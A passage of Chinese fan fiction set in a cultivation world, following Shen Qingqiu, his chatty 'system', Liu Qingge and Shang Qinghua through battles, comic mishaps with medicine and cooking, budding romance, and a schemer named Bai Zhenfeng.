就在面前四人即将打起来的时刻,于某处似乎发生了骚动,听不真切的声音从远处伴着回音、四面八方传来: “敌袭——” 随着凄厉的鼓锣声快速响起,四人对视一眼,转身向着某条大路施展轻功奔去。边走边各自拿出具有对话功能的玉佩紧急下指令: “快列队,开机关!” “大鱼已到,大家准备应战!” —— ‘宿主……这个鱼……’ ‘脑子笨就关机重启。’ 沈清秋紧紧跟在四人身后,在几人身上快速扫视判断一圈,打定主意跟着富贵公子像的白衣。 这个家伙很明显是‘公子’的人,沈清秋有预感,这个‘公子’,必然与整个事件有着密不可分的联系! 果然,白衣原本还与众人一同狂奔,却在某个拐角突然隐匿在阴影之中,确认没引起注意后迅速返回,进入另一条岔路。 经过几个绕弯之后,谨慎的放出神识查看四周,确认无疑后从胸口拿出一枚戒指。 待他将戒指放入女神像展开的手心之中,眼前的石壁突然露出一道仅可容纳一人进入的小道。 最重要的是,在检测到有人踩入之后,石门立刻无声关闭。若非白衣反应极快,怕是连他的外衫都会被撕碎。 ‘宿主……’ 系统有些紧张。 沈清秋选择的没错。可问题是,不知是白衣太谨慎,还是‘公子’太核心,居然没给他们留下可追踪探寻的机会! 这下可好,直接被关在门外,任你有千番对策、万般计谋,又能如何? ‘无事。’ 沈清秋反而看的很开。玩游戏嘛,最怕没意思。有难度不重要,那种随随便便就被打败、解开的,算什么乐趣? 这种与聪明人对局,抓完美无缺之人的小辫子,才说得上有意思嘛。 沈清秋显出身形,认真打量女神像。 这是一个被雕刻的不算精致的女子,婷婷站立于暗道的入口,右手持着一个火炬,左手呈大拇指与中指相抵的掐花状伸展。 当时白衣便是将戒指从手指形成的孔洞穿过,放于女神像的左手手心。 可惜,‘开门戒指’应该是一次性用品,任沈清秋左察右看,也没能从中寻到戒指存在的痕迹。 —— 外面的动静闹得太大,实力相差悬殊,源源不断的人流从各处涌出,大喊着加入战场。 “杀啊!” “被护在后面那个肯定是重点,先去抓他!” “前面太难突破了,后面那个被护着的肯定是重要人物,突围过去拿下!” “这人也太猛了点,剑术高超不说,居然不怕疼吗?” “快去通报!” —— ‘宿主……他们说的,不会是柳清歌吧?’ ‘你猜。’ ‘那……宿主要去帮忙吗?’ ‘不去。’ —— ‘宿主!尚清华被人抓住了!’ ‘宿主!柳清歌被打伤了!’ ‘宿主!别看戏了!!你的队友要被团灭了!!!’ ‘宿主!人数相差太多,你想脱离团队独自带线打野吗!!!’ 第二十五章车轮战,人海战术 ooc预警:狂战士柳清歌+爆种尚清华 ———— 修真界的境界压制是强大的,一堆被临时喊来的小兵只能化为战场上的炮灰。可蚁多也能咬死象,当对方使用人海战术时,数量亦能在某些时刻弥补质量。 尚清华的武力值与柳清歌不是一个档次,故而他非常自觉的架起防御护盾,老老实实的躲在最后。‘享受’柳清歌为他开路的极致体验。 当然……敌人也不是傻的,他们很快发现了‘打手很难解决、后面防御阵很好击碎’这个事实。 所以他们兵分两路后,有不少人手头上疯狂攻击阵法,嘴里骂骂咧咧的想引尚清华踏出防御范围。 ‘……’ 尚清华听着这些人对自己的口吐芬芳,一边紧张的看着柳巨巨以勇猛无敌之势一剑横扫千军;一边小心翼翼的输送灵力,防止因其他人对自己的攻击而导致防御系统崩溃。 人和人就是不一样的啊。 尚清华有点无语的看着、将自己当成软柿子捏的敌人们,心里难免对将技能值全点在武力的柳巨巨感到震惊。 这家伙绝对是将所有精力都放在修炼习剑上了,于为人处事上堪称简单直白不说,整个一纯纯以力破巧,用强大到举世无敌的武力镇压一切。 而且,他还像沈清秋所说,是一个具有狂暴化血脉的狂战士!看看,剑气纵横、狂战如暴,这和人形杀戮机器有什么区别? 这群在自己面前唧唧歪歪、大放技能的家伙,敢去柳巨巨面前嚣张乱窜吗?一群只敢在自己面前欺负弱小、大放厥词的玩意! 只是。想象是美好的,现实是骨感的。尚清华准备的再齐全,也耐不住对方不停歇的车轮战啊。 尚清华一怒之下怒了一下,在防御阵即将破碎的时刻,往自己身上叠加数层防御术法后,举起自己的佩剑就是砍。 劳资在苍穹山是末位没错,可劳资是鸡头里面的老幺!你们这样将我当成拖后腿的软柿子,是不是太过分了些! 虽抵不过柳清歌的半步化神,岳清源、沈清秋的元婴巅峰,其他人的元婴后期,他也是拎出去能开中立派的元婴中期啊!!! 尚清华胆子很小,平日里隐藏于角落里,尽量不与人结怨。其存在感之渺小,令众人谈及之时总是会下意识将其忽略。 他的剑术并不高超,剑势也不凌厉。因不常出门历练杀敌、就算是出门也是搞后勤,缺乏杀戮所带来的血腥气。 可他做事极为认真,那些繁杂到一团毛线的琐事,旁人不愿接手,最后都‘丢到’了他的面前。 尚清华虽然总是自嘲他就是个管后勤的,但能在第一大派处理库房、明确赏赐份额,做好礼尚往来的账单,配置好每一次活动的人员筹备、物品流动。其统筹能力和细致程度,绝非一般。 当尚清华做好应战的心理准备后,每一次出剑都会极为精准的划过敌人咽喉,每一步落下都能找准敌人武器挥舞不到的位置。 剑势虽比不上柳清歌的横扫千军,却另有一番如水变幻、缠绵不绝。 更是在几个群战技能之后,为自己空出来不少的‘生存空间’。 —— 随着敌方人数的不断增加,柳清歌的剑上已沾满敌人的血与毒,浓稠的液体从凹槽流出,白色的剑穗已被染成暗沉的红色。 杀戮为柳清歌的身躯附上一层血色迷雾,纯白的衣衫已看不清本来的洁净精致。 柳清歌心思单纯,亦喜穿白衣。 可惜战斗总会将他的衣物浸染出别的颜色,乘鸾的剑穗也总要准备诸多备份。 天蝉丝所织成的衣物,水火不侵、尘埃不染,洁白无瑕、天衣无缝。可惜……却被敌人的血与毒,给毁损的坑坑洼洼。 敌人如潮水般涌来,杀之不绝;一轮又一轮的攻击,像是割不完的韭菜一样,几乎要将柳清歌淹没。 最重要的是,柳清歌砍倒某个敌人后向右侧方看上一眼: 爆种的尚清华终究是实战不足,太早的用上几个大招,将体内的灵气挥霍一空,现下只能不断施展轻功四处抵挡逃奔。 对战之时,勇气和魄力至关重要。可没有应对经验、却还要尝试迎敌,便是逞能。 尤其是,当尚清华明显表露出‘力有不逮’后。围攻柳清歌的几个元婴里,愣是‘抽调出’三名离开,加入了‘围捕’尚清华的队伍之中。 “……” 此时的柳清歌,突然有些怀念沈清秋。 起码,这家伙虽然关键时候会背刺他,可正常情况下,是不会让他过多操心的。 更有甚者,对方的脑子是当真好用,总是能一眼看穿对方的弱点,让他以最少的力气,解决最多的麻烦。 “喝!” 柳清歌快速压下使弯月刀的敌人,一脚踹在用双枪的壮汉身上,借力向上空翻后脱离战场。脚踩敌军炮灰的头颅,飞速向尚清华处奔来。 先前过来的三名元婴转头砍向柳清歌,身后被柳清歌甩开的敌人也飞奔过来,呈两面夹击之势。 柳清歌与尚清华,就这么间隔不到三丈的距离,各自开启了‘被围殴’副本。 只是很可惜,尚清华的力所不及是真的灵力不足、武力不够,并非假诱敌人的把戏。 在一次敌人的进攻下,尚清华右手突然僵硬发酸,手中仙剑被挑飞,高高的划过天空、与半空之中展现出完美的曲线轨迹,最终落入人群之中,寻不到踪迹。 而尚清华本人,也被数柄长枪所困,身受重伤后被压在地上,成了对方的俘虏。 如果他与柳清歌一般外练筋骨皮,说不定还有反败为胜的机会。可惜他平日里实在是习惯了处理后勤,一切交给‘战斗人员’,导致真正需要明刀实枪去对战之时,只能给队友拖后腿。 若沈清秋还在…… 尚清华心里期待一下。 如果沈清秋在这,以他和柳清歌的武力,完全可以直接打进去嘛! 算了算了,也不一定。 尚清华无力的扯扯嘴角: 就他们两个的脾气,敌人不一定能打死他们,他们两个反而会因为内讧先弄死对方…… 这次柳巨巨已经收敛了,没有当场就拔剑开干;若非换了穿越同仁,以原装沈清秋的脾气,估计他俩刚进秘境就的两败俱伤…… 第二十六章哥不是救人,是找工具人 ooc预警:伪穿书沈九+倒霉蛋柳清歌 ———— ‘宿主!你再不去救人,就要一个人刷全部BOSS,凡事都要亲身上阵了!’ ‘……’ 不得不说,系统的这个‘威胁’当真十分到位。沈清秋别的不怕,就是懒。其实倒也不是懒,主要是有人解决一切,总比自己干活要强。 他都身为高冷仙尊了,总不能自己亲自动手打理一切,凡事跟个愣头青一样上去就是打打打吧? 嗯,说的愣头青就是前面那个。 明明配剑还能用,偏要一脸心疼的将其快速擦拭后收起来,接着用一双硬拳捶打敌人。 虽说每击出一拳都能有破风之声传来,即便是对战金银铜铁也能锐不可当。然血肉凡胎,这跟个不怕疼的狂战士有什么区别? 说他是个人形野兽,一点也不亏了他。 而身后那个傻子就更是了,武力值不够、经验值不足,就该老老实实呆在原地,维持好防御阵法。 可叹这玩意跟傻子似的,还想玩战斗爆种那一套,几个大招下来虽看着天花乱坠、威力超群,实际上却没杀死几个人。还将自己底牌展露出来,除了疯狂逃命什么也干不了。 这两家伙,若是遇见柳清歌能单独解决的敌人还好;一旦遇见能力超出的,分分钟被人各个击破。 苍穹山的峰主们,就这样的能力和心智?怪不得岳清源成天苦大仇深,寄希望于他们,还不如赶紧培养下一代…… —— “沈清秋?” 柳清歌睁开泛着红血丝的眼睛,眉头紧皱,看着一脸无所谓、右手掐诀的沈清秋,眼里闪过疑惑。 “嘘——” 沈清秋左手指了指上方疯狂舞动的粗丝绳,示意柳清歌跟自己走。 柳清歌快速扫一下大型蚕蛹的‘房间’,谨慎的踩着沈清秋踩过的地面,一边嫌弃湿滑细碎的‘雪花’,一边向前人问询: “你从哪冒出来的?你这黑心肠的玩意怎会为个弟子灵力尽失,果然是假的。” “……?” 你说话就说话,人身攻击干什么? 沈清秋小心翼翼躲开其他人的巡逻,朝后方打着手势。心里琢磨着柳清歌究竟‘梦见’了什么,居然能说出这样令人惊悚的话语? 他,为了个弟子搞的灵力尽失? 这是什么天方夜谭? 他像是那种舍己为人的人? “尚清华在哪?” 身后直到现在还搞不清楚状况的愣头青又开始发问,沈清秋简直对他无语。但出于对工具人的后续使用,他还是回了两个字: “不知。” 柳清歌应该是受到了不小的刺激,嘴里开始不满的谩骂: “这群卑鄙小人居然用毒!” “……” 谢邀,我也是。 他为什么要救这玩意? 沈清秋有些怀疑自己。 他是需要个打手不假,但是这家伙应该很少失败,这次战败被俘,咋的开始向岳清源发展了? 果不其然,柳清歌跟在沈清秋身后,再次发问:“看到溟烟了吗?” “……” 要不就把他丢下吧,反正柳清歌这么大的人,武力值又那么高,即便是不使用乘鸾,半步化神的实力也够他将这里闹的天翻地覆了。 想到这里,沈清秋斜柳清歌一眼,开始刺他:“你不是坚决不想,与我同行?” 据沈清秋的预判,这家伙绝对会立刻叫起来,然后双方互吵一架,干脆利落的一拍两散。 反正他已经将人救出来了,凭这家伙的能力应该也死不了,剩下的只需要找个地方看戏就行。 谁知道柳清歌居然接住了沈清秋的眼神,半点争吵的痕迹也没有,颇为认真的回复: “我是不放心将后背交给‘你’。” 沈清秋:…… 神tm的理直气壮。 这家伙究竟梦见什么了,怎得脸皮突然这么厚! 还有,你丫的究竟在搞什么,没事看我一眼,还欲言又止一脸便秘,是在将劳资与什么人进行比较吗?! ———— 夜半,月明星稀。 沈清秋正躺在很早之前、从仓库里扒拉出来的皮草上休息。柳清歌盘腿坐于火堆旁打坐调息。 别问为什么沈清秋能在野外舒舒服服的躺着睡大觉,一个是他有嘴碎系统、能在第一时间将他喊醒;另外是他与柳清歌同行,不就是为了偷懒吗? 如果同行之人不能为他解决问题,那他干啥要与对方一道?真认为他是什么热爱维护师兄弟感情的好兄长吗? 只是……在沈清秋睡的正香时,却被系统的急切呼唤给吵醒了。 ‘系统。’ 沈清秋很不开心。任谁睡到半夜被喊醒,周围还没有敌人、也没有风险,无需应对之时,被人拽醒会心情舒坦。 ‘宿主,你的工具人生病了!’ ‘他生病关我屁事?影响劳资睡觉,系统你是不想要主角好好生活了?’ ‘宿主,你不能这么威胁系统啊……’ ‘滚——别耽误劳资睡觉。’ 只是。被吵醒的人,是很容易受到外界干扰的。更何况,沈清秋刚把柳清歌救出来,放任对方生病乃至虚弱,会影响他后续的计划。 柳清歌烧的有些糊涂,嘴里念叨着:“水——” 沈清秋平躺于皮毛之上,翻了几个面,最后还是忍不住冲对方喊到:“喂!” ‘宿主,他好像打完架伤口一直没处理,又在陷入困阵后被吸走了太多灵力,伤口发炎导致高热。’ ‘哦。’沈清秋烦躁的将皮草尾巴拽起来,撸了几下:‘那怎么办?’ ‘处理伤口、喂解毒药。’ ‘……’他丫丫,劳资欠他的?将人搞出来还不行,现在还要服务到家?是不是之后还需要给他喂饭啊? 算了算了,不就是喂个药嘛,之后找千草峰再搞个千百来瓶弥补回来就是了。 ‘宿主!!!’ ‘嗯?’ ‘那是原主的痒痒粉……’ ‘!!!’ ‘快快快,有蓝色标记的是解药。’ ‘完了,这个是胡椒粉……’ ‘……’ ‘宿主,别想嫩多了,柳清歌将你喂的药丸给咳出来了!’ ‘!!’ 沈清秋手忙脚乱的从储物袋摸出各种玉瓶,然后喂了这个喂那个。 期间,柳清歌艰难的睁开眼睛,眼睁睁看着沈清秋将每个峰主各一瓶的外伤药,给他往嘴里倒…… “……” 柳清歌无语的翻了个白眼: 这个味正了,绝对不是梦境那个! 这家伙果然是无时无刻不在想让他死! 第二十七章这糟糕的厨艺啊 ooc预警:伪穿书沈九+倒霉蛋柳清歌 ———— 在沈清秋的一通操作之下,柳清歌成功从发热,变成了濒死。 这其中,受伤没处理占十分之一;发热抵抗力低下,占十分之二;剩下不知道吃了什么毒药、互相药性相克的玩意,占剩下的十分之七…… “你?” “别迷恋哥,哥只是个传说。” “……” 柳清歌有点半身不遂。嗯,吃了那么多的乱七八糟药物,能活着就不错了,还在乎其他的? 只是这家伙还真是一如既往的恶劣啊,明明对药理一窍不通,将他扔到水里都比乱喂药靠谱吧? 而且听听这玩意说的什么话!这家伙是看自己虚弱,立马原形毕露了吗?该死的,即便是性子改了一点点,却怎么一天天的更令人头疼,更想揍他了! “辟谷丹没有了,烤鱼将就将就。” 柳清歌很想问他具体都给自己喂了什么毒药,但他既然都清醒了,还是赶紧找到溟烟后回去问木清芳更靠谱。他的这条小命保下来不容易,梦境中的故事和现实差距太大,他还需要研究一二。 只是,当他扭头看见沈清秋在烤东西的时候,心里突然就有些犯怵。 尤其是看见沈清秋将焦成木炭的烤鱼向自己这边杵了杵,柳清歌立刻扭头拉远距离。 他可没忘记,这家伙的厨艺绝对和他那糟糕的人品一样,是个放火烧山、还能扭曲成修炼雷系功法的嘴硬王者! 尤其是他性情大变之后的第一次见面,若不是柳清歌‘相救’,怕是要被山火给烧成衣衫尽灭! “我不吃你烤的东西。” 柳清歌即便只有头能动,也要坚决拒绝这家伙的食物!毒药还能吃解毒丸,沈清秋制作的东西,那是比毒药还可怕! 柳清歌有时候都在怀疑,沈清秋那些层出不穷的毒药,不会就是制作草药失败的成果吧? “呦?” 沈清秋好心分享食物,对方居然还领情? 柳清歌越拒绝,沈清秋就越要喂!眼看着柳清歌扭向一旁,沈清秋跳到对方面前,拿着烤成焦炭的鱼就是硬塞。 “嘿!给你脸了?” 劳资说让你吃,你就老老实实给劳资吃干净!毒药都毒不死你,咋的吃我烤制的食物还能食物中毒不成? “我——唔——咳咳——” 情急之下,半身不遂的柳清歌右手抬起发力,将人推走,接着疯狂咳嗽,想将嘴里的东西吐出来:“咳咳——呕——” “……” 喂,哥们,没必要这么严重吧? 沈清秋默默离远点,防止被沾染上胃酸。接着看了眼手上拿着的黑色焦炭,觉得他这个跟火堆里面烧着的东西,也没有太大区别。 要不是为了获取脂肪和蛋白质,吃这个和吃木炭,并没有太大区别。 只是—— 柳清歌未免太过火了吧? 沈清秋皱着眉头,谨慎的将手中的木炭翻来覆去的看几遍,再次确认这东西应该吃不死人。 “喂,你可是半步化神,不至于吧?” 虽然难吃,但不代表不能吃啊。 只是柳清歌不那么想。 柳清歌快把肝胆要吐出来了,大力拍着自己的胸口,眼里愣是被呛出泪花。满含雾气的丹凤眼瞪大,堪称‘声泪涕下’的控诉: “沈清秋!烤鱼要去内脏和鱼鳞!还有,这玩意皮都成炭了,里面还是生的!骨头都能将喉咙刺穿!” “……” 沈清秋默默后退几步,离得更远一些。 柳清歌状态看起来很不好啊,是中毒太深,已经失控了吗?沈清秋敲击识海:‘系统?’ ‘宿主……’系统有些弱弱,看着沈清秋手上的焦炭,有心想劝他丢掉,却也不知道如何开口: ‘系统也不会做饭啊——’ ‘……’ 难道真是他做饭太难吃,把人逼成这样的? 沈清秋坚决不承认是自己的问题,在神识内冲系统抓狂、将责任划分出去:‘那你告诉我扔火里就行?’ 反正是系统让这么干的,一切都是系统的错,他就是个被系统要求的可怜人。 他真可怜啊,被系统要求要‘养’男主不说,连吃个饭都如此艰难。 ‘宿主,你在苍穹山也是这么干的啊。’ 系统坚决反对沈清秋的污蔑,确定自己的指令绝对没有错误,出现偏差的原因是对面的人不对: ‘只是那些东西最后都进了岳清源肚子里。’ 每每沈清秋做好食物,都会被不知从哪冒出的明帆等人‘恭恭敬敬’取走。说上一连串的不重复赞美,将沈清秋夸的天上有地下无、仿若食神再世一般。 接着,由专人送到岳清源面前。 ‘……’ 说起来,沈清秋还真没尝过自己的厨艺。 而今看柳清歌的反应……只能说…… 岳清源,肠胃真好。 —— 最后的几条鱼,是由柳清歌烤制的。 嗯,没错。既打仗受伤、炎症发热、被喂各种毒药后濒死的柳清歌,担起了做饭的重任。 这样的生命力,当真堪比小强;这样的任劳任怨,几乎可以媲美岳清源。 一点也不像,之前喊打喊杀,非要说沈清秋背刺他的样子。 只是沈清秋还是感觉到一丝不对劲。 这家伙怎么自己都虚弱的要死了,却会在某些时刻一脸担心的看向自己,还问要不要给他传送功力? 咋的,你以为功力是大白菜还是筹码,能够让你没事干输送着玩? 而且他的武力值还是在线的,不需要你像是看护娇宝宝一样照看着,打几下就要绕回来看几眼好吧? 他以为他是会拖后腿的尚清华吗? 他是不会调制伤药,但是他记忆力在线好吧,咋的柳清歌这家伙时不时会闲着没事干、开始给他普及药物和常识? 又一次柳清歌打败灵物、烤制灵兽肉时,柳清歌下意识的帮沈清秋将兽肉片成片,递交给他。 “喂,我说。” 沈清秋实在受不了了。这家伙是不是有病啊。自从将烤鱼吐出来之后就跟中了毒似的,两个大老爷们,直接抓着兽腿啃不就行了,你把他当女扮男装的小姑娘不成? “你是不是走火入魔了,你究竟在搞什么飞机?” TM的,你最好给我编一个靠谱点的故事。你这没事看我几眼,频频失神不说,还莫名其妙的‘无微不至’。 如果不是吃他制作的烤鱼出问题了,沈清秋真的会怀疑这个世界全部都是g.a.y啊!他这个可怜的直男真的会瑟瑟发抖的好吗?! 第二十八章总有一个要先低头 ooc预警:伪穿书沈九+先低头柳清歌 ———— 其实原因很简单。 柳清歌在虫茧之中,看见的是另一个世界的发展。 如果沈清秋不再嘴毒、不再冷漠、不再用尖锐的棱角对抗世界。 那么他自然是可以和苍穹山其他人和睦共处的。 如果沈清秋对同辈关心,对晚辈呵护; 就会收获其乐满满的师兄弟情,苍穹山也能快快乐乐的齐聚一堂,吃个火锅、热闹聊天什么的。 当然。不是说现在的沈清秋不好。 只是,如果他能改变,大家会更好。 但这句话,柳清歌说不出口。 他不是能理直气壮让别人改变的人,也没办法用梦中的情景,套用到现实沈清秋的身上。 当然,就算说出来,沈清秋也不可能改。 所以—— 柳清歌在试着,努力尝试着散发善意。 柳清歌的性格,是别人对他一分好,他便还人十分善。 沈清秋既然能在危机重重之中对他施予援手,柳清歌如何不能压下对他的警惕和不耐,不再深究‘他之前总是对他下黑手’这个心结? 双方的矛盾太深、过往也不堪。可如果他先改变,以善意和温和对待沈清秋。 沈清秋能否,收敛一下锋芒,少说些尖酸刻薄的诛心之论? 另外…… 柳清歌有些‘羞哧’、‘期待’的看了现实中略显冷傲孤僻的沈清秋一眼,立刻将视线挪开。 在那个世界发展中,魅妖夫人曾说过—— 沈清秋命中有条红线,断的非常可惜。但他另有一条红线,比他年幼、比他尊贵,尤其是会在分开之后,找机会重新出现。 如果。 假设说那条红线,讲得是他们两人的故事。 即便两人永远不可能结成伴侣,永远不会以亲密的姿态出现在众人面前。又有什么关系? 武痴与他对练之人,怎么不算‘相逢即有缘’呢? 这个中途加入的野路子,这个一直喊着要打败他、为此不惜施展任何手段的、为了赢不顾一切的人。与柳清歌对武道的执着,何其相像? 柳清歌从小就是武道天才,之后也很难能找到适合自己、体谅自己的女子。即便是娶亲之后,大概率也很难放下练剑习武。如果妻子不是如他一样的武痴,怕是很容易‘耽误对方’。 但如果他的红线是沈清秋,基本上就不会有这个‘困惑’。 首先。沈清秋虽然近些年不再没事找他比斗拼命;但对修为的看重,是众所周知的执着。 这一点,双方是很合拍的。 其次。沈清秋虽风评上喜欢拈花惹草,却从不曾惹出风流债。也不曾有谁找上门来,说他始乱终弃。 这说明人格上,大事上,他还是拿捏的住分寸的。 在次。修真界是很正统,但并不算迂腐。即便他喜欢的、与他携手共进的不是女子,在不曾张扬到满世界宣传时,修真界其实并不会‘举世皆敌’的反对。 唯一有问题的,便是沈清秋这么多年来,一直很厌恶同性的接触。 只是这个‘习惯’,在几个月前的性情大变中,好像也悄无声息的消失了。 虽然还是一样的不愿与人接触,一样的一眼看透本质,一样的孤僻冷漠、毒舌高傲。 可其灵魂外壳上,却多出几分少年意志。大部分的时候,竟能以难得的少年心性去思考,展露出早已被时光泯灭的青春活力来。 如果他能一直保持这样,柳清歌曾见到的另一个‘发展’中。 他比那个欺师犯上、意欲毁灭世界的洛冰河,要更早遇见对方。 态度转变之后,他会比那个伪装成傻白甜的黑心魔尊,更细致靠谱的给予对方尊重与体贴。 柳清歌差在洛冰河哪里了? 不就是前期态度过于恶劣,双方关系僵持不下、那个也不肯低头破冰? 沈清秋既然能被‘弟子’所感动,必然也可以被他所软化;态度软化之后,所有的一切,不都是水到渠成? 即便真实世界的沈清秋总是想要他的命,可他也说过‘不是他’,‘他不信他’。 如果这一次是意外,之前的那次,是不是也是‘受到了委屈、不愿开口’? 对敌之中,被怀疑暗害队友。 无论解释还是不解释,对方都不会选择相信。 沈清秋的不言不语、断绝来往,貌似也有了合理的解答? 毕竟。这位少年心性的沈清秋,可是能干出‘割袍断义’、‘划线决裂’的事情啊。 —— 柳清歌的眼神越发复杂,沈清秋周身越来越冷。 这家伙绝对心里在憋着坏。 这是来自直男的直觉! 沈清秋连饭都不吃了,四处打量着残阳如血之下,附上一层朱红色的旷野。 “不吃了?” 柳清歌的声音还算硬朗,却因伤势未愈,难免有些中气不足。而这份虚弱,竟然还能让人察觉到几分关心体贴来? 沈清秋站起来的脚步一顿,坚决的跳开几步,一脸不可思议的看着对方,心里盘算着要赶紧找个机会分开。 他有绝对的预感,与此人在待一段时间,绝对会出大事! 话说,柳清歌之前不是一直担心他要暗害于他,取他性命、背叛队友来着?现在受了伤,被他救出来一次,竟能改了属性,打算走‘救命之恩、以身相许’的戏码不成? 那要不,他干脆玩一波大的,将这个NPC直接坑杀算了? 反正这家伙总会死的,死在秘境之中、和死在后山洞府,好像也没什么区别? 更有甚者,柳清歌死在外边。还能有人为了探究他的死因,强闯秘境、使用时间禁术不成? “那就走吧。” 柳清歌将火堆踩灭,处理好痕迹之后,开始研究晚上去何方下榻。 眼前的沈清秋不如梦境之中什么都不懂、处处需要照顾,只要找个靠谱的地方,他自会设下防御阵法,铺好储物袋中的皮草,干脆利落的躺平睡觉。 嗯。虽然这家伙对修为很执着,但夜间居然会直接睡觉而非打坐,这也是蛮出乎柳清歌意料的。 “……” 沈清秋再次拉开双方的距离。 今天夜里,他并不想与对方同行。虽然防御阵法有大型的,但是他现在一点也不想和对方身处同一个阵法! 所以…… 沈清秋脑海快速分析:之前几人曾说过,那些鱼饵的目的是为了钓鱼。尚清华虽被俘虏,那些人既然见过柳清歌,自然是不可能放过。 故而—— 既然这家伙还能活蹦乱跳的打怪,干脆去在刷一次暗室副本得了! 甭管你们有什么阴谋诡计,便用柳清歌的绝对武力,一剑斩之! 第二十九章少年郎,你的血,一定是滚烫的,对吧? ooc预警:伪穿书沈九 ———— 人生能改变境遇的机会就那么几次,抓住了,就是鲤鱼跳龙门化而为龙;抓不住,就一辈子耗在底层当炮灰。 白振风早早就知晓了这个道理,故而在白家唯一的掌上明珠——娇娇小姐恼怒之时,他以一种‘爱慕又奋不顾身’的人设站了出来,为自己争取到‘公主伴读’的身份。 何为‘太子伴读’? 与下一任掌权者一同长大,培养感情,为其驱使。等待他登上掌权之位,大权在握之时,博个从龙之功。 那么……什么是‘公主伴读’? 陪‘公主’吃喝玩乐,替‘公主’护卫四方,在‘公主’情窦初开之前——尽可能的扮演骑士和暗卫的角色,保护公主健康成长。 白振风是个有野心的人。要不然他也不会在白娇娇挑选‘护卫’被拒绝之后,快速将自己调整为‘为主家愤愤不平、早就爱慕于小姐却无缘相见’的状态,毛遂自荐,将自己展示在众人面前。 这是一步险棋。 所有人都能看出来他幼稚的算计、处处破绽的伪装、并不算完美的演出。 可那又如何? 他成功了。其他人暗地里再如何恼怒与不齿,哪怕是走在路上被人套麻袋胖揍——他也成功了。 白娇娇的父亲,那个掌握着整个天兰派的掌门。虽然意味深长的看了他一眼,却在白娇娇的傲娇点头下,随意的撇一眼周围,就定下了白振风的人生。 而白振风,这个被收养的孤儿,也终于有了自己的名字—— “卧疾无三吊,居闲有百忧;振风吟鼓夕,明月照帷秋。”赐姓为白,名振风。 如果故事到这里,这算是一个有志青年努力拼搏,获得赏识后曲线救国的励志情节。 可惜人心贪婪,白振风身为‘骑士’本该守护‘公主’等待王子——但凭什么,白振风不能是那个‘王子’呢? 所以他暗戳戳的表现与诱导,直到金尊玉贵的掌门之女,亲自到她父亲面前,朱唇轻启,说出那句“非他不嫁”。 白振风——就成为了一人之上,即将拥有整个天兰派的,‘公主’驸马。 他只要稍微表现一下,只要别再白掌门死之前搞出过于离谱的事情。只要维护好自己的‘人设’,别犯了众怒,他就能获得一整个门派。 这样的人生,堪称徒步青云。 多美好啊。 如此灿烂的未来,唾手可得。 真是连做梦都不会这么圆满的美妙。 只可惜—— 这一切,随着那个该死的墨子棋,被全部推翻。 ‘公主’终究是遇见了‘王子’,而随着‘王子’的出现,‘国王’理所应当的,将骑士丢在一旁。 甚至说,若不是白振风表现的足够‘憨厚’与‘忠诚’,白振风这个人,早就会与名字一起、随风飘散。 他为什么不恨? 为什么不怨? 为什么不恼怒? 为什么不……拼一把? 白长林,那个本该将大权交出来的掌门人,那个因‘搞定’白娇娇而不曾对其下手的老不死,活的太久、太碍眼了! 同样的。 从墨子棋出现的那一刻起,白振风就成了白长林的肉中刺。一个青壮有力、手下还有些势力的‘驸马’,当‘公主’不再喜欢他,他就该死。 所有掌权人都是疑心病。 所有将权势交出去后还活着的人,都是第一个要被清算的存在。 权利的味道太好了,执掌他人生死的感觉太美妙了。屁股底下的位置,如果不用‘亲情’去牵制,白长林完全不知道要如何压制白振风。 ‘太子’之位,永远是‘皇帝’的眼中钉。 而这个人,别管表面再如何‘憨厚’,只要他是‘曾经的驸马’、‘曾经的未来掌权人’,他就该死。 ———— “沈公子,不知白某安排的酒宴,沈公子可还合心?” 翩翩公子、温润如玉。一身白衣的少年郎遥遥举杯,笑容温柔、举止体贴,言谈之中满是东道主的从容平和。 “尚可。” 沈清秋微微点头,拿起酒杯抿了一口。 宛如夕阳的琥珀色液体盈满了半透明的玉质酒杯,果香与花香的混合巧妙搭配出香甜又醉人的气味云团,随着持杯人的轻微摇晃旋出‘哗啦’‘蹦铛’的敲击波浪。 良辰美景奈何天,赏心悦事谁家院。 月下赴宴、举杯对饮,本就是乐事。 只是这个饭菜……实在是,非常不合沈清秋的喜好。 而沈清秋的那句‘尚可’,谁都能听出来是‘还行’的美化。这个倒不是敷衍和挑刺,沈清秋说的是真心话。 就算是不与现代工业下的精制食品比较,小门派的厨师与苍穹山的本就不可比拟,甚至说他们做出来的东西比柳清歌还要略差一些。 嗯。至于为什么沈清秋会在这里喝酒赏月,而与他同行的那个‘工具人’又去了哪里,就是另一个精彩缤纷到不值一提的故事了。 白振风看着虽一身素衣却掩不住仙风道骨的沈清秋,温和含笑的瞳孔闪过一丝势在必得。 他看不出来这位‘沈公子’的修为。要么他是凡人,要么修为比他高得多。 结合这段时间墨子棋上蹿下跳的扰动风云,意图将天兰派推入本不该插手的战场。别说白振风有脑子,就是没脑子的莽夫,也该知道面前之人的身份。 苍穹山。修真界第一门派。 没想到苍穹山派出的人居然如此年轻。虽说修真界驻容有术的海了去,可面前这位脸上的好奇与青涩完全遮掩不住,性子更是规矩守礼中带着灵动跳脱。 一言一行虽透露着大家子弟的‘规范与风骨’,可眼里由于新奇所产生的亮光、遇事之后因情绪改变所引动的表情…… 都在彰显,他的‘年轻’。 年轻好啊。没经验更好。 这样有实力却没经验的大派弟子,当真是最好的工具人。 这样年轻的少年郎,血是滚烫且炙热的,心是激情而蓬勃的。在他们眼中,天空是蔚蓝色的、万物是绚丽多姿的,就连近黄昏的夕阳慢慢覆盖大地、迎入幽深黑暗之时,九天之上,也有月亮与星辰为他们照亮前路。 所以。 白振风的笑容更加如沐春风,眼角弧度更加柔和。看向沈清秋的表情,就像是看见下属送来的极合他心意的摆件似的。 这样‘热血’的少年啊,最适合被用来,当一把杀人而不自知、愚蠢而简单易懂的,杀手锏。 所以。沈公子,你可千万别让我‘失望’呢。 第三十章辟谷丹能解决一切问题 ooc预警:伪穿书沈九+嘴碎系统 ———— ‘宿主,那个白振风好像把你当成小白花了。’ 虽然他宿主大部分时间看起来是有点啥都好奇的样子,但割开心脏看一下,那可是比谁都漆黑啊。 ‘无妨。’ 沈清秋并不关心其他人怎么看他,也不在乎谁想利用或算计他,反正那些他最后都会‘报复’回去。既如此,还不如关心眼前并不让人满意的的饭菜,挑挑拣拣的点评道: ‘虽说修真界之人大部分不食五谷杂粮,但这个简陋程度真的要震惊我。’ ‘古代饭菜不是能制作出将鸡肉丝穿入绿豆芽、做一道菜能熬好几天汤的精致复杂吗?如今看来,并不如此啊。’ 